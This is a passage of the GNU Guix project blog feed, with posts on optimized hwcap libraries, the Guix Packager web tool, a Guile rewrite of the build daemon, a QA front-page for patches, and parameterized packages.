both benefit from this new capability.</p><p>Through the magic of newer versions of GCC and LLVM it is safe to use these
libraries in place of the standard libraries while compiling packages; these
compilers know about the <code>glibc-hwcap</code> directories and will purposefully link
against the base library during build time, with glibc's <code>ld.so</code> choosing the
optimized library at runtime.</p><p>One possible use case for these libraries is creating <a href="https://guix.gnu.org/en/manual/devel/en/html_node/Invoking-guix-pack.html"><code>guix pack</code>s</a>
of packages to run on other systems. By substituting these libraries it
becomes possible to crate a <code>guix pack</code> which will have better performance than
a standard package used in a <code>guix pack</code>. This works even when the included
libraries don't make use of the IFUNCs from glibc or functional
multi-versioning from GCC. Providing optimized yet portable pre-compiled
binaries is a great way to take advantage of this feature.</p><h4>About GNU Guix</h4><p><a href="https://guix.gnu.org">GNU Guix</a> is a transactional package manager
and an advanced distribution of the GNU system that <a href="https://www.gnu.org/distros/free-system-distribution-guidelines.html">respects user
freedom</a>.
Guix can be used on top of any system running the Hurd or the Linux
kernel, or it can be used as a standalone operating system
distribution for i686, x86_64, ARMv7, AArch64 and POWER9 machines.</p><p>In addition to standard package management features, Guix supports
transactional upgrades and roll-backs, unprivileged package
management, per-user profiles, and garbage collection. When used as a
standalone GNU/Linux distribution, Guix offers a declarative,
stateless approach to operating system configuration management. Guix
is highly customizable and hackable through
<a href="https://www.gnu.org/software/guile">Guile</a> programming interfaces and
extensions to the <a href="http://schemers.org">Scheme</a> language.</p>https://guix.gnu.org/blog/2023/write-package-definitions-in-a-breeze//Write package definitions in a breezeLudovic Courtès, Philippe Virouleau2023-11-24T14:30:00Z2023-11-24T14:30:00Z More than 28,000 packages are available in Guix today, not counting
third-party channels. That’s a lot—the 5th largest GNU/Linux
distro ! But it’s nothing if the one package you
care about is missing. So even you, dear reader, may one day find
yourself defining a package for your beloved deployment tool. This post
introduces a new tool poised to significantly lower the barrier to
writing new packages. Introducing Guix Packager Defining
packages
for Guix is not all that hard but, as always, it’s much harder the first
time you do it, especially when starting from a blank page…<p>More than 28,000 packages are available in Guix today, not counting
third-party channels. That’s a lot—the <a href="https://repology.org/">5th largest GNU/Linux
distro</a>! But it’s nothing if the one package you
care about is missing. So even you, dear reader, may one day find
yourself defining a package for your beloved deployment tool. This post
introduces a new tool poised to significantly lower the barrier to
writing new packages.</p><h1>Introducing Guix Packager</h1><p><a href="https://guix.gnu.org/manual/devel/en/html_node/Defining-Packages.html">Defining
packages</a>
for Guix is not all that hard but, as always, it’s much harder the first
time you do it, especially when starting from a blank page and/or not
being familiar with the programming environment of Guix. <a href="https://guix-hpc.gitlabpages.inria.fr/guix-packager/">Guix
Packager</a> is a new
web user interface to get you started—<a href="https://guix-hpc.gitlabpages.inria.fr/guix-packager/">try
it!</a>. It arrived
right in time as an aid to the <a href="https://hpc.guix.info/events/2023/workshop/program/#how-to-get-started-writing-guix-packages">packaging
tutorial</a>
given last week at the Workshop on Reproducible Software Environments.</p><p><img src="/static/blog/img/guix-packager.gif" alt="Screenshot showing the Guix Packager interface." /></p><p>The interface aims to be intuitive: fill in forms on the left
and it produces a correct, ready-to-use package definition on the right.
Importantly, it helps you avoid pitfalls that trip up many newcomers:</p><ul><li>When you add a dependency in one of the “Inputs” fields, it adds the
right variable name in the generated code <em>and</em> imports the right
<a href="https://guix.gnu.org/manual/devel/en/html_node/Package-Modules.html">package
module</a>.</li><li>Likewise, you can choose a license and be sure the <code>license</code> field
will refer to the right variable representing that license.</li><li>You can turn tests on and off, and add configure flags. These
translate to a valid <code>arguments</code> field of your package, letting you
discover the likes of <a href="https://guix.gnu.org/cookbook/en/html_node/A-Scheme-Crash-Course.html">keyword
arguments</a>
and
<a href="https://guix.gnu.org/manual/en/html_node/G_002dExpressions.html">G-expressions</a>
without having to first dive into the manual.</li></ul><p>Pretty cool, no?</p><h1>Implementation</h1><p>All the credit for this tool goes to co-worker and intrepid hacker
Philippe Virouleau. A unique combination of paren aversion and web
development superpowers—unique in the Guix community—led
Philippe to develop the whole thing in a glimpse (says Ludovic!).</p><p>The purpose was to provide a single view to be able to edit a package recipe,
therefore the application is a <em>single-page application</em> (SPA) written in
using the UI library Philippe is most comfortable with: <a href="https://react.dev/">React</a>,
and <a href="https://mui.com/material-ui/">MaterialUI</a> for styling the components.
It's built with <a href="https://www.typescriptlang.org/">TypeScript</a>, and the library
part actually defines all the types needed to manipulate Guix packages and their
components (such as build systems or package sources).
One of the more challenging parts was to be able to provide fast and helpful “search as you
type” results over the 28k+ packages. It required a combination of
MaterialUI's <a href="https://mui.com/material-ui/react-autocomplete/#virtualization">virtualized inputs</a>,
as well as caching the packages data in the browser's local storage,
when possible (packaging metadata itself is fetched from
<code>https://guix.gnu.org/packages.json</code>, a generic representation of the
current package set).</p><p>While the feature set provides a great starting point, there are still a few
things that may be worth implementing. For instance, only the GNU and
CMake build systems are supported so far; it would make sense to include
a few others (Python-related ones might be good candidates).</p><p>Running a local (development) version of the application can happen on
top of Guix, since—obviously—it's been developed with the <code>node</code>
version packaged in Guix, using the quite standard <code>packages.json</code> for
JavaScript dependencies installed through <code>npm</code>. <a href="https://gitlab.inria.fr/guix-hpc/guix-packager/">Contributions
welcome!</a></p><h1>Lowering the barrier to entry</h1><p>This neat tool complements a set of steps we’ve taken over time to make
packaging in Guix approachable. Indeed, while package definitions are
actually code written in the Scheme language, the <code>package</code> “language”
was designed <a href="https://arxiv.org/abs/1305.4584">from the get-go</a> to be
fully declarative—think JSON with parens instead of curly braces and
semicolons. More recently we <a href="https://guix.gnu.org/en/blog/2021/the-big-change/">simplified the way package inputs are
specified</a> with an
eye on making package definitions less intimidating.</p><p>The <a href="https://guix.gnu.org/manual/devel/en/html_node/Invoking-guix-import.html"><code>guix import</code>
command</a>
also exists to make it easier to simplify packaging: it can generate a
package definition for anything available in other package
repositories such as PyPI, CRAN, Crates.io, and so forth. If your
preference goes to curly braces rather than parens, it can also <a href="https://guix.gnu.org/manual/devel/en/html_node/Invoking-guix-import.html#index-JSON_002c-import">convert
a JSON package
description</a>
to Scheme code. Once you have your first <code>.scm</code> file, <code>guix build</code>
prints hints for common errors such missing module imports (those
<code>#:use-module</code> stanzas). We also put effort into providing <a href="https://guix.gnu.org/manual/devel/en/html_node/Defining-Packages.html">reference
documentation</a>,
a <a href="https://guix.gnu.org/en/videos/2020/packaging-part-two/">video
tutorial</a>, and
a <a href="https://guix.gnu.org/cookbook/en/html_node/Packaging-Tutorial.html">tutorial for more complex
packages</a>.</p><p>Do share your experience <a href="https://guix.gnu.org/contact">with us</a> and
until then, happy packaging!</p><h1>Acknowledgments</h1><p>Thanks to Felix Lechner and Timothy Sample for providing feedback on an
earlier draft of this post.</p><h4>About GNU Guix</h4><p><a href="https://guix.gnu.org">GNU Guix</a> is a transactional package manager and
an advanced distribution of the GNU system that <a href="https://www.gnu.org/distros/free-system-distribution-guidelines.html">respects user
freedom</a>.
Guix can be used on top of any system running the Hurd or the Linux
kernel, or it can be used as a standalone operating system distribution
for i686, x86_64, ARMv7, AArch64 and POWER9 machines.</p><p>In addition to standard package management features, Guix supports
transactional upgrades and roll-backs, unprivileged package management,
per-user profiles, and garbage collection. When used as a standalone
GNU/Linux distribution, Guix offers a declarative, stateless approach to
operating system configuration management. Guix is highly customizable
and hackable through <a href="https://www.gnu.org/software/guile">Guile</a>
programming interfaces and extensions to the
<a href="http://schemers.org">Scheme</a> language.</p>https://guix.gnu.org/blog/2023/a-build-daemon-in-guile//A build daemon in GuileChristopher Baines2023-10-30T09:30:00Z2023-10-30T09:30:00Z When using Guix, you might be aware of the
daemon .
It runs in the background but it's a key component in Guix. Whenever
you've been using Guix to operate on the store ,
whether that's building something or downloading some substitutes,
it's the daemon managing that operation. The daemon also is a key part of the history of Guix. The Guix
project started mixing Guile with ideas from the Nix project, and the
guix-daemon is a fork of the nix-daemon with some tweaks made over
the years. Rather than being implemented in Guile though, the…<p>When using Guix, you might be aware of the
<a href="https://guix.gnu.org/en/manual/en/html_node/Setting-Up-the-Daemon.html">daemon</a>.
It runs in the background but it's a key component in Guix. Whenever
you've been using Guix to <a href="https://guix.gnu.org/en/blog/2023/dissecting-guix-part-1-derivations/">operate on the store</a>,
whether that's building something or downloading some substitutes,
it's the daemon managing that operation.</p><p>The daemon also is a key part of the history of Guix. The Guix
project started mixing Guile with ideas from the Nix project, and the
<code>guix-daemon</code> is a fork of the <code>nix-daemon</code> with some tweaks made over
the years. Rather than being implemented in Guile though, the daemon
is implemented in C++ with some helpers written in Guile. Given the
focus on Guile in Guix, this is unusual, and I believe it's made
working on the daemon less desirable, especially since rewriting it in
Guile has been discussed for many years now. It has been the topic of
a Google Summer of Code internship by Caleb Ristvedt back in 2017,
which helped clarify implementation details and led to some
<a href="https://git.savannah.gnu.org/cgit/guix.git/log/?h=guile-daemon">preliminary code</a>.</p><h1>What would a build daemon in Guile bring?</h1><p>Guix already has code written in Guile for doing some of what the
daemon does internally, so being able to use this Guile code inside
and outside the daemon would simplify Guix and allow removing the C++
code.</p><p>There isn't Guile code yet for everything the daemon does though, so
getting to this point will make new exciting features easier to
implement. That could be things like making it easier to use Guix in
environments where running the daemon in the usual way is inconvenient
or infeasible. It may also help with portability, so help with
running Guix on the Hurd and new architectures.</p><p>As someone who's more experienced writing Guile than C++, I'm also
hoping it'll generally make hacking on the daemon more accessible.
This in turn might lead to new features. For example, I think having
a build daemon written in Guile will simplify implementing a way to
jump in to a build and inspect the environment.</p><p>With that in mind, I'm excited to announce that <a href="https://nlnet.nl/project/GuixDaemon-Guile/">support from
NLNet</a>, will allow me to
focus for the next year on getting a Guile implementation of the build
daemon written and adopted.</p><h1>A technical plan</h1><p>Building on the <a href="https://lists.gnu.org/archive/html/guix-devel/2023-09/msg00328.html">recent discussion</a>
of this topic on the <code>guix-devel@gnu.org</code> mailing list, here's some
technical thoughts on how I'm approaching this.</p><p>While I think there's a substantial amount of work to do, progress
towards a Guile guix-daemon has already been made. Given that things
in Guix have probably changed since this work has happened, I plan to
carefully review that existing work (most of which can be found on the
<a href="https://git.savannah.gnu.org/cgit/guix.git/log/?h=guile-daemon"><code>guile-daemon</code> branch</a>.</p><p>The priority for the Guile daemon is backwards compatibility, so the
plan is to allow switching between the C++ implementation and Guile
implementation without any issues. This'll require not making changes
to the database schema, and generally doing things in a way which the
current C++ daemon will understand.</p><p>Like the <a href="https://guix.gnu.org/en/blog/2021/building-derivations-how-complicated-can-it-be/">Guix Build Coordinator</a>,
I'm planning to make the daemon a single process using
<a href="https://github.com/wingo/fibers">Fibers</a> for concurrency. This is in
contrast to the forking model using by the C++ daemon. Even though
it's not a priority to address feature issues with the current daemon,
this approach might help to reduce database contention issues
experienced with the current daemon, and allow for less locking, like
not having the big GC lock for example.</p><p>I'm planning on publishing more blog posts as the project progress, so
keep an eye on the Guix blog for future updates.</p><h1>Acknowledgments</h1><p>Thanks to Simon Tournier and Ludovic Courtès for providing feedback on
an earlier draft of this post.</p><h4>About GNU Guix</h4><p><a href="https://guix.gnu.org">GNU Guix</a> is a transactional package manager
and an advanced distribution of the GNU system that <a href="https://www.gnu.org/distros/free-system-distribution-guidelines.html">respects user
freedom</a>.
Guix can be used on top of any system running the Hurd or the Linux
kernel, or it can be used as a standalone operating system
distribution for i686, x86_64, ARMv7, AArch64 and POWER9 machines.</p><p>In addition to standard package management features, Guix supports
transactional upgrades and roll-backs, unprivileged package
management, per-user profiles, and garbage collection. When used as a
standalone GNU/Linux distribution, Guix offers a declarative,
stateless approach to operating system configuration management. Guix
is highly customizable and hackable through
<a href="https://www.gnu.org/software/guile">Guile</a> programming interfaces and
extensions to the <a href="http://schemers.org">Scheme</a> language.</p>https://guix.gnu.org/blog/2023/a-new-quality-assurance-tool-for-guix//A new Quality Assurance tool for GuixChristopher Baines2023-09-12T14:30:00Z2023-09-12T14:30:00Z Maintaining and expanding Guix's collection of packages can be
complicated. As a distribution with around 22,000 packages, spanning
across around 7 architectures and with support for cross-compilation,
it's quite common for problems to occur when making changes. Quality Assurance (QA) is a general term to describe the approach
taken to try and ensure something meets expectations. When applied to
software, the term testing is normally used. While Guix is software,
and has tests, much more than those tests are needed to maintain Guix
as a distribution. So what might quality relate to in the context of Guix as a
distribution? …<p>Maintaining and expanding Guix's collection of packages can be
complicated. As a distribution with around 22,000 packages, spanning
across around 7 architectures and with support for cross-compilation,
it's quite common for problems to occur when making changes.</p><p>Quality Assurance (QA) is a general term to describe the approach
taken to try and ensure something meets expectations. When applied to
software, the term testing is normally used. While Guix is software,
and has tests, much more than those tests are needed to maintain Guix
as a distribution.</p><p>So what might quality relate to in the context of Guix as a
distribution? This will differ from person to person, but these are
some common concerns:</p><ul><li>Packages successfully building (both now, and without any
<a href="https://issues.guix.gnu.org/56137"><em>time bombs</em></a> for the future)</li><li>The packaged software functioning correctly</li><li>Packages building on or for a specific architecture</li><li>Packages building reproducibly</li><li>Availability of translations for the package definitions</li></ul><h1>Tooling to help with Quality Assurance</h1><p>There's a range of tools to help maintain Guix. The <a href="https://guix.gnu.org/en/manual/en/html_node/Invoking-guix-lint.html">package
linters</a>
are a set of simple tools, they cover basic things from the naming of
packages to more complicated checkers that look for security issues
for example.</p><p>The <a href="https://guix.gnu.org/en/manual/en/html_node/Invoking-guix-weather.html"><code>guix weather</code></a>
tool looks at substitute availability information and can indicate how
many substitutes are available for the current Guix and system. The
<a href="https://guix.gnu.org/en/manual/en/html_node/Invoking-guix-challenge.html"><code>guix challenge</code></a>
tool is similar, but it highlights package reproducibility issues,
which is when the substitutes and local store items (if available)
differ.</p><p>For translations, <a href="https://guix.gnu.org/manual/en/html_node/Translating-Guix.html">Guix uses
Weblate</a>
which can provide information on how many translations are available.</p><h1>The QA front-page</h1><p>Then there's the relatively new <a href="https://qa.guix.gnu.org/">Quality Assurance (QA)
front-page</a>, the aim of which is to bring
together some of the existing Quality Assurance related information,
as well as new being a good place to do additional QA tasks.</p><p>The QA front-page
<a href="https://lists.gnu.org/archive/html/guix-devel/2022-09/msg00054.html">started</a>
as a service to coordinate automated testing for patches. When a patch
or patch series is submitted to guix-patches@gnu.org, it is
automatically applied to create a branch; then once the information is
available from the <a href="https://data.qa.guix.gnu.org/">Data Service</a> about
this branch, the QA front-page web interface lets you view which
packages were modified and submits builds for these changes to the
<a href="https://guix.gnu.org/en/blog/2021/building-derivations-how-complicated-can-it-be/">Build Coordinator</a>
behind <a href="https://guix.gnu.org/en/blog/2021/substitutes-now-also-available-from-bordeauxguixgnuorg/">bordeaux.guix.gnu.org</a>
to provide build information about the modified packages.</p><p><img src="/static/blog/img/qa-issue.png" alt="QA issue page" /></p><p>A very similar process applies for branches other than the master
branch, the QA front-page queries
<a href="https://issues.guix.gnu.org/">issues.guix.gnu.org</a> to find out which
branch is going to be merged next, then follows the same process for
patches.</p><p>For both patches and branches the QA front-page displays information
about the effects of the changes. When this information is available,
it can assist with reviewing the changes and help get patches merged
quicker. This is a work in progress though, and there's much more that
the QA front-page should be able to do as providing clearer
descriptions of the changes or any other problems that should be
addressed.
<img src="/static/blog/img/qa-package-changes.png" alt="QA package changes page" /></p><h1>How to get involved?</h1><p>There's plenty of ways to get involved or contribute to the QA
front-page.</p><p>If you submit patches to Guix, the QA front-page will attempt to apply
the patches and show what's changed. You can click through from
issues.guix.gnu.org to <a href="https://qa.guix.gnu.org/">qa.guix.gnu.org</a> via
the QA badge by the status of the issue.</p><p>From the QA front-page, you can also view the list of branches which
includes the requests for merging if they exist. Similar to the patch
series, for the branch the QA front-page can display information about
the package changes and substitute availability.</p><p>There's also plenty of ways to contribute to the QA front-page and
connected tools. You can find some ideas and information on how to
run the service in the <a href="https://qa.guix.gnu.org/README">README</a> and if
you have any questions or patches, please email <code>guix-devel@gnu.org</code>.</p><h1>Acknowledgments</h1><p>Thanks to Simon Tournier and Ludovic Courtès for providing feedback on
an earlier draft of this post.</p><h4>About GNU Guix</h4><p><a href="https://guix.gnu.org">GNU Guix</a> is a transactional package manager
and an advanced distribution of the GNU system that <a href="https://www.gnu.org/distros/free-system-distribution-guidelines.html">respects user
freedom</a>.
Guix can be used on top of any system running the Hurd or the Linux
kernel, or it can be used as a standalone operating system
distribution for i686, x86_64, ARMv7, AArch64 and POWER9 machines.</p><p>In addition to standard package management features, Guix supports
transactional upgrades and roll-backs, unprivileged package
management, per-user profiles, and garbage collection. When used as a
standalone GNU/Linux distribution, Guix offers a declarative,
stateless approach to operating system configuration management. Guix
is highly customizable and hackable through
<a href="https://www.gnu.org/software/guile">Guile</a> programming interfaces and
extensions to the <a href="http://schemers.org">Scheme</a> language.</p>https://guix.gnu.org/blog/2023/parameterized-packages-for-gnu-guix//Parameterized Packages for GNU GuixSarthak Shah2023-06-09T16:00:00Z2023-06-09T16:00:00Z Hello Guix! I'm Sarthak and I'll be working on implementing Parameterized Packages
for GNU Guix as a Google Summer of Code
intern under the guidance of Pjotr Prins and Gábor Boskovits. What are Parameterized Packages? One of the many advantages of free software is the
availability of compile-time options for almost all packages.
Thanks to its dedication to building all packages from source,
Guix is one of the few GNU/Linux distributions that can take advantage
of these compile-time features; in fact, many advanced users such as
those using Guix on High-Performance Computing Systems
and new ISAs like…<p>Hello Guix!</p><p>I'm Sarthak and I'll be working on implementing Parameterized Packages
for GNU Guix as a <a href="https://summerofcode.withgoogle.com/">Google Summer of Code</a>
intern under the guidance of Pjotr Prins and Gábor Boskovits.</p><h1>What are Parameterized Packages?</h1><p>One of the many advantages of <a href="https://www.gnu.org/philosophy/free-sw.html">free software</a> is the
availability of compile-time options for almost all packages.
Thanks to its dedication to building all packages from source,
Guix is one of the few GNU/Linux distributions that can take advantage
of these compile-time features; in fact, many advanced users such as
those using Guix on <a href="https://hpc.guix.info">High-Performance Computing Systems</a>
and <a href="https://10years.guix.gnu.org/video/gnu-guix-and-the-risc-v-future/">new ISAs like RISC-V</a> have already been doing this
by utilizing a feature known as <a href="https://guix.gnu.org/manual/en/html_node/Package-Transformation-Options.html">Package Transformations</a>.</p><p><strong>Parameterized Packages</strong> are a new type of package transformations
that will be able to tweak an even wider array of compile-time
options, such as removing unused dependencies or building a package
with support for just a specific locale. These will have a wide
variety of applications, ranging from High-Performance Computing to
Embedded Systems and could also help tackle a few of Guix's issues
like large binary sizes and dense dependency graphs.</p><h1>What would these look like?</h1><p>The <em>syntax</em> for parameterized packages is still under heavy
deliberation, however the final syntax will have the following
features:</p><ul><li>Maintainers will be able to specify what combinations of
parameters a package supports, along with a <em>default configuration</em>
of parameters for a given package.</li><li>Users will be able to pass parameters they want enabled or disabled
through <code>--with-parameters</code> which will then get validated against the
valid combinations specified by maintainers before being run</li><li>For a given package and a given set of parameters, only those in
the package's parameter specification will be used</li><li>Users will be able to specify a global parameter transform that
will apply to all packages. Packages will be built with the
<em>default</em> configuration if the global transform creates an
invalid configuration.</li></ul><h1>Potential Problems with Parameterization</h1><h3>Combinatorial Explosion of Variants</h3><p>One of the biggest and most obvious issues with parameters is the
combinatorial explosion of package variants they will create. One way
to address this is to use tools to calculate and regulate allowed
complexity; one such tool could be a function that takes a
parameter combination specification and returns the number of variants
it could create.</p><h3>Increase in Maintenance Required</h3><p>Another concern is that this will lead to an increase in the workload
of maintainers, who have been generously volunteering their time and
have a lot of work as is. Hence, we will be treating parameters
the same way we have been treating other package transformations-
they are not expected to be stable, and should be used at the
user's discretion.</p><h3>Availability of Substitutes for Variants</h3><p>Lastly, parameterization could lead to an exponential increase in
the number of substitutes build farms will have to create, and
thus as such there are only plans on building substitutes for
default and very popular parameter combinations.</p><h3>Other topics under discussion</h3><p>Some of the other points of discussion with respect to parameters are</p><ul><li><strong>Scope</strong>: Parameterization has a very wide and overarching scope,
and it would be useful to have guidelines in place for when a
particular property should be considered for parameterization</li><li><strong>Syntax</strong>: There are many proposed syntax designs for
parameterization, and more are welcome! The final syntax will most
probably be an amalgamation of the best parts of all proposed designs.</li><li><strong>Substitutes</strong>: There is a lot of discussion on exactly what
parameter combinations should be considered for substitutes; while it
is obvious that it won't be possible to build <em>all</em> combinations, some
important combinations can and should be considered for having
substitutes built. We could perhaps have a separate category of
parameter combinations that would both receive substitutes and
support, and make these combinations discoverable through the
UI. Another suggestion is to have user-run channels for specific build
combinations, like for example there could be a RISC-V specific
channel supplying substitutes for the users running RISC-V.</li></ul><p>If you would like to join the discussion, check out <a href="https://lists.gnu.org/archive/html/guix-devel/2023-05/msg00156.html">this mailing list
discussion about this project</a>,
and also have a look at the <a href="https://lists.gnu.org/archive/html/guix-devel/2020-11/msg00312.html">original thread</a> about parameterization.</p><h1>Conclusion</h1><p>Parameters hold the potential to greatly increase Guix's flexibility,
but will also lead to greater complexity. In my opinion, Guix is
uniquely positioned to take full advantage of the customizability
provided by compile-time options while also enjoying relative
stability thanks to its transactional nature.</p><h4>About Me</h4><p>I'm a student studying Mathematics and ECE at BITS Pilani, and I love
computers and free software. I am the president of my university's
equivalent of a Free Software Advocacy Group, and I am also one of the
system administrators for my university's High-Performance Computing
System. As an advocate for free software and a Lisp user, I naturally
fell in love with GNU Guix when I discovered it. I have also used
Gentoo for some time in the past, which motivated me to try and bring
something similar to USE flags to Guix. You can find my blog at
<a href="https://blog.lispy.tech">blog.lispy.tech</a>, where I will be frequently
posting updates about the project.</p><h4>About GNU Guix</h4><p><a href="https://guix.gnu.org">GNU Guix</a> is a transactional package manager
and an advanced distribution of the GNU system that <a href="https://www.gnu.org/distros/free-system-distribution-guidelines.html">respects user
freedom</a>.
Guix can be used on top of any system running the Hurd or the Linux
kernel, or it can be used as a standalone operating system
distribution for i686, x86_64, ARMv7, AArch64 and POWER9 machines.</p><p>In addition to standard package management features, Guix supports
transactional upgrades and roll-backs, unprivileged package
management, per-user profiles, and garbage collection. When used as a
standalone GNU/Linux distribution, Guix offers a declarative,
stateless approach to operating system configuration management. Guix
is highly customizable and hackable through
<a href="https://www.gnu.org/software/guile">Guile</a> programming interfaces and
extensions to the <a href="http://schemers.org">Scheme</a> language.</p>